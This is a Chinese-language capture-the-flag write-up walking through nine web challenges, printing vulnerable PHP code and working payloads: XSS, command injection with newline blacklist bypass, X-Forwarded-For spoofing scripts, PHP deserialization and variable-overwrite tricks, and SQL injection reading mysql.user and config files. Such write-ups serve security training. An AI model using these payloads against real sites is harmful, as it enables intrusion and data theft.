CTF随笔(一)

WEB01

XSS水题 直接提交poc吧

http://xxx.com/xss1.php?bug="></h2><h1+onclick="alert()">ssss<h1><h2++value="&submit=submit!

WEB02

这题需要我们构造远程js连接,通过CSS层级列表的background:url(http://xxx.com)方式去引入js,当然,我们需要绕过同源保护策略 GOGOGO我们的exp(PS我这儿只是做示范引入Jquery)

http://xxx.com/xss2.php?bug="><style>body{background:url(https://code.jquery.com/jquery-3.2.1.min.js);}<style><h1+value"&submit=提交

嗯,成功引入说明同源策略并没有

WEB03

这题有个hint:swp嗯,Linux的交换空间文件,有点意思 好吧,构造请求交换空间文件的请求

拿到这个文件构造出来的源代码句子

?>  	 	
echo  "<pre>{$cmd}</pre>"; 	// Feedback for the end user  	} 		
$cmd = shell_exec( 'ping  -c 1 ' . $target ); 		// *nix 	
else { 	} 		$cmd = shell_exec( 'ping  ' . $target ); 		 		
// Windows 
	if( stristr( php_uname( 's' ), 'Windows NT' ) ) { 
	// Determine OS and execute the ping command.  	
	// var_dump($target);       	
	$target = str_replace( array_keys( $substitutions ), 
	$substitutions, $target ); 	// Remove any of the charactars in the array (blacklist).  
	); 	
	'||' => '', 		'`'  => '', 		')'  => '', 		'('  => '', 		'$'  => '',
	'-'  => '', 		'|' => '', 		';' => '', 		'&'  => '', 
	$substitutions = array( 	// Set blacklist 	// 
	var_dump($target); 	
	$target=trim($target);     // var_dump($target); 	
	$target = $_REQUEST[ 'ip' ];  	// Get input 
 <?php 

emmmmmmm交换空间里拿到的是反的,正回去

$target = $_REQUEST['ip'];   

$target = trim($target);    

var_dump($target);
$substitutions = array(  
    '-' => '', '|' => '', ';' => '', '&' => '', '||' => '', '`' => '', ')' => '', '(' => '', '$' => '',);
$target = str_replace(array_keys($substitutions), $substitutions, $target);    
if (stristr(php_uname('s'), 'Windows NT')) {
    $cmd = shell_exec('ping  -c 1 ' . $target);
} else {
    $cmd = shell_exec('ping  ' . $target);
}
echo "<pre>{$cmd}</pre>";  

可以看到黑名单了 这个时候我们就需要构造命令注入绕过黑名单过滤去获取FLAG

http://xxx.com:4002/?ip=127.0.0.1%0Als

可以看到flag.php了,接下来去读取它审查元素可以看到FLAG

http://xxx.com:4002/?ip=127.0.0.1%0Acat%20flag.php

WEB04</>

这个。。。。提示???

哦,这样啊,好的,伪造请求IP,现在我们写个python的exp 怎么伪造呢?我们需要修改请求头的X-Forwarded-For:伪造的IP地址就行啦 下面是poc (PS:多手写exp不去借助工具来跑,是训练ctf的一个好技巧)

# -*- coding:utf-8 -*-
url="http://xxx.com:2502"
ip="192.168.65."
import urllib.request,urllib.response,http.cookiejar
page_len=-1
for x in range(1,256):
    rip=ip+str(x)
    header_dict = {'X-Forwarded-For':rip}
    req = urllib.request.Request(url, headers=header_dict)
    page = urllib.request.urlopen(req).read().decode("utf-8")
    if(len(page)!=page_len):
        print(len(page))
        print(rip)
        page_len=len(page)

WEB05</>

继续审查元素,我们可以看到一段有趣的提示是这样的

//try to get flag13579.php

    class just4fun {
        public $filename;
   
        function __toString() {
            return @file_get_contents($this->filename);
        }
    }
   
    $data = stripslashes($_GET['data']);
    if (!$data) {
        die("hello from y");
    }
   
    $token = $data[0];
    $pass = true; 
   
    switch ( $token ) {
        case 'a' :
        case 'O' :
        case 'b' :
        case 'i' :
        case 'd' :
            $pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );
            break; 
   
        default:
            $pass = false;
   
    }
    if (!$pass) {   
      die("cry again!");
    }
    echo unserialize($data);

嗯unserialize,php???反序列化嘛。 现在我们本地测试一下需要序列化的内容

class just4fun {
    public $filename;
    function __toString() {
        return @file_get_contents($this->filename);
    }
}
$o=new  just4fun();
$o->filename="flag13579.php";
echo serialize($o);

得到对象字符串

O:8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}

构造反序列化请求

?data=O:8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}

发现上面有个正则表达式

$pass = ! (bool) preg_match( "/^{$token}:[0-9]+:/s", $data );

把O:8给过滤掉了,请求里需要给+号连接符使得正则表达式匹配不上才能获得FLAG

?data=O:%2b8:"just4fun":1:{s:8:"filename";s:13:"flag13579.php";}

WEB06</>

根据提示取得备份文SYB.php.bak

<!doctype html>
<html>
<head>
<meta charset="utf-8">
<title>SYB</title>
</head>

<body style="background-repeat:no-repeat;" background="9s.jpg">
<!--9s在基地的日常扫描中,发现bunker源码泄露了出

来,但这种编程语言对于9s来说太陌生了,你能帮

他看看吗?     pod042:发现gedit备份文件-->

PHP代码段

ini_set("display_errors", 0);//取消错误回显
include_once flag.php;//包含flag所在 的php文件
$str = strstr($_SERVER['REQUEST_URI'], '?');//从URL的问号符分割字符串
$str = substr($str,1);//去掉问号
$str = str_replace('key','',$str);//替换字符串中的key为空字符
parse_str($str);//从字符串中直接转换为变量
//判断,当key1与key2的md5相等而且key1与key2绝对不相等时,输出flag
if(md5($key1) == md5($key2) && $key1 !== $key2){
    echo $flag;
}
</body>
</html>

代码复制下来,本地搭建环境进行测试 构造请求如下

http://127.0.0.1/xxx.php?kkeyekeyy1=123&kkeyekeyy2=123

调试结果

变量覆盖成功

WEB07

SQL水题 打开页面看到源代码

error_reporting(0);
if($_GET['debug']=='1') die(highlight_file(__FILE__));
require 'config.php';
$link = mysqli_connect('localhost', MYSQL_USER, MYSQL_PASSWORD);
if (!$link) {
    die('Could not connect: ' . mysql_error());
}
if (!mysqli_select_db($link,MYSQL_USER)) {
    die('Could not select database: ' . mysql_error());
}
    $id = $_GET['id'];

    if(preg_match('#sleep|benchmark|floor|rand|count#is',$id))
        die('Don\'t hurt me :-(');
    $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
    $row = mysqli_fetch_array($query);
    $username = $row['username'];
    if($username === 'guest'){
        $ip = @$_SERVER['HTTP_X_FORWARDED_FOR']!="" ? $_SERVER['HTTP_X_FORWARDED_FOR'] : $_SERVER['REMOTE_ADDR'];
        if(preg_match('#sleep|benchmark|floor|rand|count#is',$ip))
            die('Don\'t hurt me :-(');
        var_dump($ip);
        if(!empty($ip))
            mysqli_query($link,"INSERT INTO logs VALUES('{$ip}')");
        $query = mysqli_query($link,"SELECT username FROM users WHERE id = ". $id);
        $row = mysqli_fetch_array($query);
        $username = $row['username'];
        if($username === 'admin'){
            echo "What ???????\nLogin as guest&admin at the same time ?\nSeems our code is broken, here is your bounty\n";
            die(FLAG);
        }
        echo "Nothing here";
    } else {
        echo "Hello ".$username;
    }

看看数据库root

?id=1 and 1=2 union select User from mysql.user#

能搞到,权限很高,所以直接读文件吧

?id=1 and 1=2  union select load_file('/var/www/html/config.php')#

WEB08

找到hint

class just4fun {
    var $enter;
    var $secret;
}
   
if (isset($_GET['pass'])) {
    $pass = $_GET['pass'];
   
    if(get_magic_quotes_gpc()){
        $pass=stripslashes($pass);
    }
   
    $o = unserialize($pass);
   
    if ($o) {
        $o->secret = '?????????????';
        if ($o->secret === $o->enter)
            echo "Congratulation! Here is my secret: ".$o->secret;
        else
            echo "Oh no... You can't fool me";
    }
    else echo "are you trolling?";
}

还是反序列化 开始构造吧

class just4fun {
    var $enter;
    var $secret;
}
$o=new  just4fun();
$o->secret="?????????????";
$o->enter=&$o->secret;
echo serialize($o);

输出字符串

O:8:"just4fun":2:{s:5:"enter";s:13:"?????????????";s:6:"secret";R:2;}

构造请求

http://xxx.com/?pass=O:8:"just4fun":2:{s:5:"enter";s:13:"?????????????";s:6:"secret";R:2;}

##WEB09

根据提示取得index.php.bak的代码

.index.php.swp

接下来是解读代码的时间了

b0VIM 7.4      'k圷?  H  root                                    a9446844cd0b                            /app/index.php                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                    
 3210    #"! U                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                 tp                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                        ad  W
  ?            ?  ?  ?  ?  n  T  Q  O  <  :    ?  ?  ?  ?  ?  ?  ?  [  R  G        ?  ?  ?                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                                         echo  "<pre>{$cmd}</pre>";
 	// Feedback for the end user
 
 }
 		$cmd = shell_exec( 'ping  -c 1 ' .$ip );
 		// *nix
 }else {
 	$cmd = shell_exec( 'ping  ' .$ip );
 		
 		// Windows
 if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
 	// Determine OS and execute the ping command.
 
 }
     die("length error!");
 if(strlen($ip)<7||strlen($ip)>21){
 
 echo strlen($ip);
 
 }
     die("not allowed!");
 if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
 
 $ip = isset($_POST['ip'])?$_POST['ip']:die();
 echo 'try to getshell';
 <?php 

把它正序一下

/**
 * Created by PhpStorm.
 * User: Summer-V
 * Date: 2017/8/8
 * Time: 1:53
 */
echo 'try to getshell';
$ip = isset($_POST['ip'])?$_POST['ip']:die();
//正则表达式匹配字符串是否为合法IP
if(!preg_match('/^\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3}/i',$ip)){
    die("not allowed!");
}
//重点重点重点,这儿有字符长度限制
echo strlen($ip);

if(strlen($ip)<7||strlen($ip)>21){
    die("length error!");
}

	// Determine OS and execute the ping command.
if( stristr( php_uname( 's' ), 'Windows NT' ) ) {
    // Windows

    $cmd = shell_exec( 'ping  ' .$ip );
}else {
    // *nix
    $cmd = shell_exec( 'ping  -c 1 ' .$ip );
}

	// Feedback for the end user
echo  "<pre>{$cmd}</pre>";

现在给出一个POST请求 ps:我这儿找了半天。。。。结果在上级目录里面

ip=0.0.0.0%0Acd%20..%0Als

FLAG文件的名字已经长过了限制字符的长度,怎么办呢?用通配符吧,构造请求

ip=0.0.0.0%0Acd%20..%0Acat%20f*

成功取得FLAG

本文参与腾讯云自媒体分享计划,欢迎正在阅读的你也加入,一起分享。

发表于

我来说两句

0 条评论
登录 后参与评论

相关文章

来自专栏蔡鹏的专栏

Dubbo API形式 简单入门

56330
来自专栏小狼的世界

PHP中的PathInfo

PHP中的全局变量$_SERVER['PATH_INFO']是一个很有用的参数,众多的CMS系统在美化自己的URL的时候,都用到了这个参数。

11430
来自专栏琦小虾的Binary

CMake学习笔记(二)——CMake语法

CMake学习笔记(二)——CMake语法 上一篇学习笔记,笔者简单浏览了CMake官网提供的教程,但感觉并不系统,而且对很多指令并没有进行解释,所以只写了一半...

839100
来自专栏Java 源码分析

SpringBoot 笔记 ( 四 ):web 开发

SpringBoot 笔记 (四): web 开发 1、SpringBoot对静态资源的映射规则 @ConfigurationProperties(prefix...

71260
来自专栏一个会写诗的程序员的博客

第13章 Kotlin 集成 SpringBoot 服务端开发(1)第13章 Kotlin 集成 SpringBoot 服务端开发

本章介绍Kotlin服务端开发的相关内容。首先,我们简单介绍一下Spring Boot服务端开发框架,快速给出一个 Restful Hello World的示例...

32630
来自专栏一个会写诗的程序员的博客

8.3 Spring Boot集成Scala混合Java开发参考资料

本章我们使用Spring Boot集成Scala混合Java开发一个Web性能测试平台。

20210
来自专栏猿天地

ElasticSearch搜索引擎在SpringBoot中的实践

实验环境 ES版本:5.3.0 spring bt版本:1.5.9 首先当然需要安装好elastic search环境,最好再安装上可视化插件 elastics...

49050
来自专栏菩提树下的杨过

linq学习笔记(二)

试用了几天linq,感觉确实方便,而且生成的sql也还不错,下面是几点体会 1.几种常见的等效select写法 var s = from c in ctx.T...

204100
来自专栏WindCoder

Spring Boot REST API错误处理指南

本来是5号来的文章,无奈最近准备换工作,一直拖着没写,今天搜索偶然看见有人已经翻译完了,由于时间原因这次就直接转载下吧,现附上英文原文及相关信息,最后再附上译文...

25020
来自专栏C/C++基础

CMake简介及使用实例

CMake是一个跨平台的建构系统的工具,可以用简单的语句来描述所有平台的安装(编译过程)。他能够输出各种各样的构建文档makefile或者project文件,描...

20320

扫码关注云+社区

领取腾讯云代金券